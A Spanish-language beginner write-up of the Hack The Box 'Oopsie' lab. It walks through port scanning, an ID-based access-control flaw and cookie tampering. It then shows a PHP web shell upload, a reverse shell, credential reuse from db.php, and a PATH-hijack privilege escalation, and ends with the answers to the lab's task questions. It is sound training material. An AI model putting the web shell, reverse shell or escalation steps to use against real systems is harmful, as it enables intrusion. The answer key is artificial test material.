Introducción
Las máquinas del Starting Point de Hack The Box siguen una dificultad creciente. Esta a pesar de estar clasificada como ‘Very Easy’ ya supone ciertos retos y habilidades. En esta máquina abordaremos el sistema de buckets S3 de AWS para el almacenamiento de ficheros. Aprovecharemos la inclusión de ficheros PHP con el objetivo de obtener control sobre el servidor por medio de una reverse shell.
En estas máquinas el nivel de detalle del presente write-up es mayor ya que se pretende dar un ‘paso a paso’ para principiantes más que una simple guía para un usuario algo avanzado. Además, durante la explotación de la máquina tendremos que ir respondiendo a preguntas que ayudarán en el camino hasta la consecución. En este caso son 9 las preguntas a responder y éstas se añadirán al final del write-up.
Resolución
Conexión al VPN de HTB
Comenzamos estableciendo conexión por VPN con la plataforma HackTheBox. Una vez tengamos IP asignada de la VPN de HTB procedemos a ir a la web de Starting Point para iniciar la máquina Oopsie. Puede trascurrir hasta 2 minutos en reconocer la web que estamos conectados por VPN, llegando en ocasiones a tener que refrescar la página F5
Si tienes dudas sobre conectar con la VPN de HackTheBox te lo explico aquí
Iniciar la máquina
Iniciamos la máquina pulsando sobre el botón
Tras unos cuantos segundos (en ocasiones puede tardar más) se habrá iniciado correctamente la máquina y nos mostrará la dirección ip de la máquina víctima. En nuestro caso será 10.129.143.21
Settarget
Haciendo uso de la herramienta previamente establecida en la ZSHRC llamada ‘settarget’ dejaremos anotada la IP y nombre de la máquina víctima en la parte superior de la Polybar para tener así mayor eficacia. La sintaxis es: settarget (IP_VICTIMA) (NOMBRE_MAQUINA_VICTIMA)
1
settarget 10.129.245.122 Oopsie
De esta manera en la Polybar superior tendremos siempre bien referenciada la máquina víctima
Ping
Comprobamos que efectivamente tenemos visible la máquina víctima lanzando un ping
sobre ella. Con el parámetro -c 1
le indicamos que tan solo haga un ping. No es necesario más.
1
ping -c 1 10.129.245.122
Como resultado obtenemos lo siguiente de lo cual destacatemos el TTL y el número de paquetes enviados / recibidos:
TTL = 63
- Este valor (cercano a 64) indica que nos encontramos ante una máquina Linux
Por defecto valores de
TTL
en torno a 64 indica que la máquina es Linux mientras que valores de 128 indicaría que la máquina es Windows
1 packets transmitted, 1 received
- Indica que el paquete enviado ha sido recibido con éxito por lo tanto => La máquina víctima está encendida y tenemos conexión con ella
Reconocimiento con NMAP (PortDiscovery)
NMAP es una herramienta ampliamente extendida en el reconocimiento de redes así como en el escaneo de puertos, hosts y servicios
Ejecutaremos la instrucción básica de reconocimiento con los parámetros que se explican a continuación:
1
nmap -p- -sS --min-rate 5000 -n -Pn -vvv --open 10.129.245.122 -oG allPorts
-p-
- Indicamos que queremos analizar el rango completo de puertos. Del 1 al 65535
-sS
- Especificación del tipo de escaneo. En este caso SYN Scan que es rápido a la vez que sigiloso ya que no termina de establecer la conexión y de tal manera puede pasar desapercibido en los logs de conexión
--min-rate 5000
- Acelera el proceso de escane ya que no tramita paquetes cuya velocidad sea inferior a 5000 paquetes por segundo. Esto puede hacer menos sigiloso el escaneo pero más rápido
-n
- Indica que no queremos aplicar resolución DNS. Más velocidad de escaneo
-Pn
- Escaneo de puertos incluso si el host no responde a los ping. Ignora si el host está o no online
-vvv
- Triple verbose para que los resultados que vaya obteniendo los vaya mostrando por pantalla sin necesidad de acabar el escaneo
--open
- Un puerto principalmente puede estar Abierto, Cerrado o Filtrado. En un principio nos centraremos en aquellos que están Abiertos
-oG allPorts
- Salida del resultado en un fichero llamado allPorts en formato ‘grepable’ lo cual aportará ventajas a la hora de tratarlo posteriormente
El resultado del comando ejecutado sería el siguiente:
Observamos que tiene dos puertos abiertos, se tratan del puerto 22 y el puerto 80.
Puerto 80 => HTTP
- El servicio HTTP, acrónimo de HyperText Transfer Protocol es el protocolo de comunicación que permite las transferencias de información a través de archivos (XML, HTML…) en la World Wide Web. Indica que podremos conectarnos usando un navegador para ver si hay una web corriendo en este puerto
Puerto 22 => SSH
- El servicio SSH, acrónimo de Secure Shell es un protocolo de comunicaciones de terminal remoto en la que la información viaja cifrada. Es una evolución segura del comando Telnet. Es usado para la gestión remota de servidores o máquinas con sistema operativo Linux en general.
Puertos abiertos (versiones)
Sobre aquellos puertos abiertos en la máquina víctima lanzaremos un comando de NMAP enfocado al descubrimiento de versiones de los servicios que estén corriendo sobre los puertos abiertos
1
nmap -sCV -p22,80 10.129.245.122 -oN targeted
-sCV
(también se puede poner como-sC -sV
)- Realiza un escaneo en busca de versiones y comparando con una base de datos de servicios conocidos
-p22,80
- Indica que se analizará en esta caso solamente el puerto 80 y el puerto 22
-oN targeted
- Salida del resultado en un fichero llamado targeted en formato normal de NMAP
El resultado del comando ejecutado sería el siguiente:
Este escaneo ha aportado información para la consecución de la máquina:
Puerto 80 -> Apache httpd 2.4.29 ((Ubuntu))
- Esta es la versión del servidor Apache corriendo en la máquina víctima. Lo tendremos en cuenta más adelante tanto para la resolución de las preguntas como en la búsqueda de posibles vulnerabilidades.
Puerto 22 -> OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
- Tiene una versión 7.6p1 de OpenSSH.
Reconocimiento del Puerto 80 - WEB
Entramos en la web desde el navegador http://10.129.245.122
.
En la parte inferior de la web vemos unos datos de contacto con un dominio: megacorp.com
que nos puede hacer indicar que es el dominio de la web.
Consideraremos añadirlo al /etc/hosts para recargar la página con el dominio megacorp.com
Procederemos a añadir este dominio al /etc/hosts de la máquina atacante:
Tecleamos
sudo nano /etc/hosts
Añadimos la línea
10.129.245.122 megacorp.com
Guardar y SalirRecargamos la web con el dominio:
http://megacorp.com
Las tecnologías que corren detrás de la web que muestra Wappalyzer son estas:
Analizando con Whatweb
Desde línea de comandos usaremos Whatweb para reconocer tecnologías detrás del dominio:
1
whatweb 10.129.245.122
Nada destacable que no hubiésemos visto hasta ahora.
Fuzzing de ficheros y directorios con Gobuster
Usaremos la herramienta Gobuster para localizar directorios
1
gobuster dir -u http://megacorp.com/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
-u http://megacorp.com/
-u
indica la URL sobre la que reconocer directorios
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-w
indica la wordlist a utilizar
-t 20
-t
indica el número de hilos a utilizar (por defecto 10 si no se indica otro valor)
No vemos ningún código de estado 200 en la respuesta
Burpsuite. Análisis de comunicaciones
La web en uno de sus textos hace alusión a un login …
Por lo que usaremos la herramienta Burpsuite para interceptar el tráfico y poder analizarlo. Para ello configuraremos un proxy en el navegador con FoxyProxy apuntando al puerto 8080 de la máquina local (127.0.0.1) en el que Burpsuite está a la escucha.
Vemos un posible recurso:
Y vemos lo que tenemos por web al irnos a la dirección http://megacorp.com/cdn-cgi/login/
Jugando con URL y cookies de sesión
Después de probar con los típicos: admin/admin , etc. no vemos contraseñas evidentes. Lo que si aprovecharemos es la posibilidad de loguearnos como invitados: Login as Guest
Entramos a la web. Echamos un vistazo a las cookies que ha almacenado:
Exploramos un poco la web y rápidamente vemos que en Accounts por la URL vemos un campo de id con un valor 2: http://megacorp.com/cdn-cgi/login/admin.php?content=accounts&id=2
¿Y si hay un usuario 1? Accedemos a http://megacorp.com/cdn-cgi/login/admin.php?content=accounts&id=1
Sorpresa, tenemos el perfil de admin y su Access ID: 34322
Lo introduciremos como valores en la cookie de sesión. Nos vamos a Uploads y ya tenemos posibilidad de subir ficheros
Intentaremos subir un fichero típico en PHP para ver si es posible ejecutarlo remótamente:
1
2
3
<?php
system($_GET["cmd"]);
?>
Con una comprobación en la URL comprobaremos que el fichero se ejecuta y en la ruta que aparentemente parecía más lógica: megacorp.com/uploads/script.php
.
Le pasamos el comando whoami al parámetro cmd de esta manera: megacorp.com/uploads/script.php?cmd=whoami
Debe existir alguna tarea cron corriendo que elimina el fichero pasados unos segundos por lo que la ejecución del comando no se puede demorar muchos segundos
Reverse Shell
Aprovechamos la ventaja de poder subir código en PHP que nos otorga el formulario al usar las cookies de admin para lanzar una reverse shell y ponernos a la escucha desde nuestro equipo.
Desde el reporitorio de GitHub de pentestmonkey descargamos una reverse Shell en PHP ya lista.
Nos ponemos a la escucha desde nuestro equipo local con Netcat
1
nc -nlvp 7777
Haciendo uso del archivo anterior ya subido le mandamos el siguiente comando que nos dará una shell por el puerto 7777 a nuestra máquina local visitando la URL del archivo subido http://megacorp.com/uploads/reverse.php
:
Estamos dentro. Ahora toca hacer un tratamiento de la shell
1
2
3
4
5
6
7
8
9
script /dev/null -c bash
CTRL-Z
stty raw -echo;fg
reset
xterm
export TERM=xterm
export SHELL=bash
stty size
sttr rows 44 columns 184
Exploramos la máquina desde el usuario www-data y vemos dentro de /var/www/html/cdn-cgi/login
un fichero llamado db.php que parece interesante:
1
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
Movimiento lateral para salir de www-data
Probaremos la credencial obtenida para poder conectarnos por SSH por el puerto 22 (abierto) con el usuario robert
En el directorio home de robert tenemos la flag de usuario
Escalada de privilegios (-> Root)
Buscamos por permisos SUID:
1
find / -perm -4000 2>/dev/null
Pero ningún resultado resulta interesante.
Buscamos grupos a los que pertenezcamos con id
1
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
El usuario robert pertenece al grupo bugtracker. Veamos qué ficheros podemos ejecutar por ser miembros de este grupo:
1
find / -group bugtracker 2>/dev/null
Este fichero tiene propiedades SUID con lo que puede ejecutarse temporalmente como root
1
2
robert@oopsie:~$ ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
Ejecutamos y vemos qué hace ese ejecutable:
Parece que ejecuta un cat
dentro del directorio /root/reports
y espera un ID
Vamos a hacer que se ejecute un cat alternativo:
Vamos a crear un fichero llamado
cat
dentro de la carpeta/tmp
El contenido será
/bin/bash
Asignaremos permisos de ejecución con
chmod +x cat
.Por último indicaremos que la primera posición del PATH será
/tmp
1
echo "/bin/bash" > /tmp/cat ; chmod +x /tmp/cat ; PATH=/tmp:$PATH
Volvemos a ejecutar bugtracker y le proporcionamos un *. Ya estamos dentro como root !
DPara poder visualizar la flag de root con cat tendremos que eliminar el fichero cat que habíamos creado previamente
Tasks
Estas Tasks hacen las funciones de mini-flags y ayudan guiando la resolución de la máquina:
- With what kind of tool can intercept web traffic?
proxy
- What is the path to the directory on the webserver that returns a login page?
/cdn-cgi/login
- What can be modified in Firefox to get access to the upload page?
cookie
- What is the access ID of the admin user?
34322
- On uploading a file, what directory does that file appear in on the server?
/uploads
- What is the file that contains the password that is shared with the robert user?
db.php
- What executible is run with the option “-group bugtracker” to identify all files owned by the bugtracker group?
find
- Regardless of which user starts running the bugtracker executable, what’s user privileges will use to run?
root
- What SUID stands for?
Set owner user ID
- What is the name of the executable being called in an insecure manner?
cat